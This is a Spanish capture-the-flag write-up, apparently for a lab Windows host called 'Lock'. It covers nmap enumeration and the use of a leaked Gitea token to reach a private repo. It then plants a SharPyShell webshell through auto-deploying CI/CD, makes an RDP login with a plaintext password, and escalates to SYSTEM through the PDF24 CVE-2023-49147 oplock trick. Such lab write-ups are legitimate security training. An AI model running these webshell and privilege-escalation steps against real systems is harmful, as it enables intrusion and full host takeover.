Enumeración#
nmap -p -sVC -A IP
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Lock - Index
|_http-server-header: Microsoft-IIS/10.0
445/tcp open microsoft-ds?
3000/tcp open http Golang net/http server
|_http-title: Gitea: Git with a cup of tea
| fingerprint-strings:
| GenericLines, Help, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Content-Type: text/html; charset=utf-8
| Set-Cookie: i_like_gitea=b222d55be5dd3f16; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=UTd-eqEvepSTKH1yBM-NKWqcVIo6MTc2MzI2MDMyOTM0OTIxMjcwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Sun, 16 Nov 2025 02:32:09 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-auto">
| <head>
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <title>Gitea: Git with a cup of tea</title>
| <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRfdXJsIjoiaHR0cDovL2xvY2FsaG9zdDozMDAwLyIsImljb25zIjpbeyJzcmMiOiJodHRwOi8vbG9jYWxob3N0OjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJzaXplcyI6IjU
| HTTPOptions:
| HTTP/1.0 405 Method Not Allowed
| Allow: HEAD
| Allow: GET
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Set-Cookie: i_like_gitea=983d065d23599b29; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=_-EZloaGKIUaGj-CoM_Fg6jYogE6MTc2MzI2MDMyOTg0MTQ3NDAwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Sun, 16 Nov 2025 02:32:09 GMT
|_ Content-Length: 0
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: LOCK
| NetBIOS_Domain_Name: LOCK
| NetBIOS_Computer_Name: LOCK
| DNS_Domain_Name: Lock
| DNS_Computer_Name: Lock
| Product_Version: 10.0.20348
|_ System_Time: 2025-11-16T02:32:38+00:00
|_ssl-date: 2025-11-16T02:33:19+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=Lock
| Not valid before: 2025-11-14T04:48:48
|_Not valid after: 2026-05-16T04:48:48
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.95%I=7%D=11/15%Time=691937A7%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20
SF:text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\
SF:x20Request")%r(GetRequest,3000,"HTTP/1\.0\x20200\x20OK\r\nCache-Control
SF::\x20max-age=0,\x20private,\x20must-revalidate,\x20no-transform\r\nCont
SF:ent-Type:\x20text/html;\x20charset=utf-8\r\nSet-Cookie:\x20i_like_gitea
SF:=b222d55be5dd3f16;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nSet-Cooki
SF:e:\x20_csrf=UTd-eqEvepSTKH1yBM-NKWqcVIo6MTc2MzI2MDMyOTM0OTIxMjcwMA;\x20
SF:Path=/;\x20Max-Age=86400;\x20HttpOnly;\x20SameSite=Lax\r\nX-Frame-Optio
SF:ns:\x20SAMEORIGIN\r\nDate:\x20Sun,\x2016\x20Nov\x202025\x2002:32:09\x20
SF:GMT\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20class=\"theme
SF:-auto\">\n<head>\n\t<meta\x20name=\"viewport\"\x20content=\"width=devic
SF:e-width,\x20initial-scale=1\">\n\t<title>Gitea:\x20Git\x20with\x20a\x20
SF:cup\x20of\x20tea</title>\n\t<link\x20rel=\"manifest\"\x20href=\"data:ap
SF:plication/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlY
SF:SIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRf
SF:dXJsIjoiaHR0cDovL2xvY2FsaG9zdDozMDAwLyIsImljb25zIjpbeyJzcmMiOiJodHRwOi8
SF:vbG9jYWxob3N0OjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbm
SF:ciLCJzaXplcyI6IjU")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCo
SF:ntent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n
SF:\r\n400\x20Bad\x20Request")%r(HTTPOptions,197,"HTTP/1\.0\x20405\x20Meth
SF:od\x20Not\x20Allowed\r\nAllow:\x20HEAD\r\nAllow:\x20GET\r\nCache-Contro
SF:l:\x20max-age=0,\x20private,\x20must-revalidate,\x20no-transform\r\nSet
SF:-Cookie:\x20i_like_gitea=983d065d23599b29;\x20Path=/;\x20HttpOnly;\x20S
SF:ameSite=Lax\r\nSet-Cookie:\x20_csrf=_-EZloaGKIUaGj-CoM_Fg6jYogE6MTc2MzI
SF:2MDMyOTg0MTQ3NDAwMA;\x20Path=/;\x20Max-Age=86400;\x20HttpOnly;\x20SameS
SF:ite=Lax\r\nX-Frame-Options:\x20SAMEORIGIN\r\nDate:\x20Sun,\x2016\x20Nov
SF:\x202025\x2002:32:09\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPReq
SF:uest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/pl
SF:ain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Requ
SF:est");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (89%)
OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016
Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%)
Vemos un gitea en el puerto 3000 si lo revisamos veremos un repositorio publico además en los comits encontraremos un token de acceso:
Con esta información podemos listar los repositorios que no están publicos:
curl "http://10.129.234.64:3000/api/v1/users/ellen.freeman/repos/" \
-H "accept: application/json" \
-H "Authorization: token 43ce39bb0bd6bc489284f2905f033ca467a6362f" \
-H "Content-Type: application/json"
Además del repositorio publico vemos otro llamado website:
"id":5,
"owner":{
"id":2,
"login":"ellen.freeman",
"login_name":"",
"full_name":"",
"email":"ellen.freeman@lock.vl",
"avatar_url":"http://localhost:3000/avatar/1aea7e43e6bb8891439a37854255ed74",
"language":"",
"is_admin":false,
"last_login":"0001-01-01T00:00:00Z",
"created":"2023-12-27T11:13:10-08:00",
"restricted":false,
"active":false,
"prohibit_login":false,
"location":"",
"website":"",
"description":"",
"visibility":"public",
"followers_count":0,
"following_count":0,
"starred_repos_count":0,
"username":"ellen.freeman"
},
"name":"website",
"full_name":"ellen.freeman/website",
"description":"",
"empty":false,
"private":true,
"fork":false,
"template":false,
"parent":null,
"mirror":false,
"size":7370,
"language":"CSS",
"languages_url":"http://localhost:3000/api/v1/repos/ellen.freeman/website/languages",
"html_url":"http://localhost:3000/ellen.freeman/website",
"url":"http://localhost:3000/api/v1/repos/ellen.freeman/website",
"link":"",
"ssh_url":"ellen.freeman@localhost:ellen.freeman/website.git",
"clone_url":"http://localhost:3000/ellen.freeman/website.git",
"original_url":"",
"website":"",
"stars_count":0,
"forks_count":0,
"watchers_count":1,
"open_issues_count":0,
"open_pr_counter":0,
"release_counter":0,
"default_branch":"main",
"archived":false,
"created_at":"2023-12-27T12:04:52-08:00",
"updated_at":"2024-01-18T10:17:46-08:00",
"archived_at":"1969-12-31T16:00:00-08:00",
"permissions":{
"admin":true,
"push":true,
"pull":true
},
"has_issues":true,
"internal_tracker":{
"enable_time_tracker":true,
"allow_only_contributors_to_track_time":true,
"enable_issue_dependencies":true
},
"has_wiki":true,
"has_pull_requests":true,
"has_projects":true,
"has_releases":true,
"has_packages":true,
"has_actions":false,
"ignore_whitespace_conflicts":false,
"allow_merge_commits":true,
"allow_rebase":true,
"allow_rebase_explicit":true,
"allow_squash_merge":true,
"allow_rebase_update":true,
"default_delete_branch_after_merge":false,
"default_merge_style":"merge",
"default_allow_maintainer_edit":false,
"avatar_url":"",
"internal":false,
"mirror_interval":"",
"mirror_updated":"0001-01-01T00:00:00Z",
"repo_transfer":null
}
Si entramos a la URL que pertenece a el repositorio encontraremos otra URL que nos direcciona a un manual de la api:

Y encontramos como listar el contenido del repositorio:
En el resultado de esta consulta vemos diversos archivos entre ellos un README lo podemos descargar:
Si lo decodificamos de base 64:
# New Project Website
CI/CD integration is now active - changes to the repository will automatically be deployed to the webserver
Sabiendo esto podemos clonar el repositorio e insertar una webshell que el servidor nos proporcionara además sabemos que usa ASP.NET en la pagina expuesta por el puerto 80 con wappalizer:
Vamos a estar usando este repositorio ShellASP :
git clone http://43ce39bb0bd6bc489284f2905f033ca467a6362f@10.129.5.142:3000/ellen.freeman/website.git
git clone https://github.com/antonioCoco/SharPyShell.git
cd SharPyShell
pip install -r requirements.txt
python3 SharPyShell.py generate -p 123
cp output/sharpyshell.aspx ../website/.
cd ../website
git add .
git commit -m "nothing here"
git push
python3 SharPyShell.py interact -u http://IP/sharpyshell.aspx -p 123
Usuario#
Ya con esto tenemos una shell que podemos usar en el archivo C:\Users\ellen.freeman\Documents\config.xml tenemos una contraseña encriptada si la pasamos por hash identify nos indica que puede ser un Posibles algoritmos: Base64(unhex(SHA-512($plaintext))) pero además vemos en el archivo mremoteng buscando de esa forma encontramos este github:
Root#
Nos conectamos al RDP:
rdesktop -u Gale.Dekarios -p ty8wnW9qCKDosXo6 10.129.5.142:3389
Apenas entramos en el escritorio vemos una aplicación PDF24 revisando en los programas instalados vemos su versión 11.15.1 buscando aplicación y versión nos damos cuenta que esta versión nos permite escalar privilegios. CVE
La vulnerabilidad CVE-2023-49147 en PDF24 Creator es un problema de escalación de privilegios local, que permite a un usuario con permisos limitados obtener acceso completo con privilegios de administrador del sistema (SISTEMA). Esto ocurre debido a cómo está configurado el instalador MSI de PDF24 Creator.
Cuando se usa la función de reparación del instalador MSI (con msiexec.exe), se abre una ventana visible del símbolo del sistema (cmd.exe) que corre con privilegios del usuario SISTEMA, el nivel más alto en Windows. Se puede aprovechar esto de la siguiente manera:
- Iniciar la reparación del PDF24 Creator usando un comando especial con msiexec.exe, sin que aparezca una advertencia de control de cuentas de usuario (UAC).
- Durante la reparación, un proceso llamado pdf24-PrinterInstall.exe se ejecuta con privilegios SISTEMA y escribe en un archivo de registro específico.
- Se puede “bloquear” ese archivo con una herramienta especial para que la ventana del símbolo del sistema no se cierre.
- Luego, con una serie de acciones (como usar un navegador distinto a Edge o Internet Explorer para abrir un enlace especial y luego abrir cmd.exe desde ahí), se puede abrir una ventana de comandos totalmente funcional con privilegios SISTEMA.
Esto significa que un usuario sin privilegios administrativos puede controlar completamente el sistema, pudiendo hacer cambios peligrosos o accesar datos sensibles.
Lo primero que necesitamos es poder bloquear el CMD para esto tenemos que compartirnos un archivo llamado SetOpLock.exe lo extraemos en una carpeta y nos conectamos a RDP compartiendo la carpeta.
rdesktop -u Gale.Dekarios -p ty8wnW9qCKDosXo6 IP:3389 -r disk:linux=/carpeta/compartida
Luego ejecutamos con el archivo que nos compartimos el siguiente comando:
SetOpLock.exe "C:\Program Files\PDF24\faxPrnInst.log" r
Ahora vamos a iniciar el proceso como si fuéramos a reparar la aplicación:
Le daremos a repair y esperaremos a que vaya a finalizar el proceso cuando saltara una ventana CMD.
Le damos a Properties:
Después de esto escogemos el navegador Firefox y la descargamos como cmd.exe luego lo ejecutamos y tendremos una consola como Administradores.









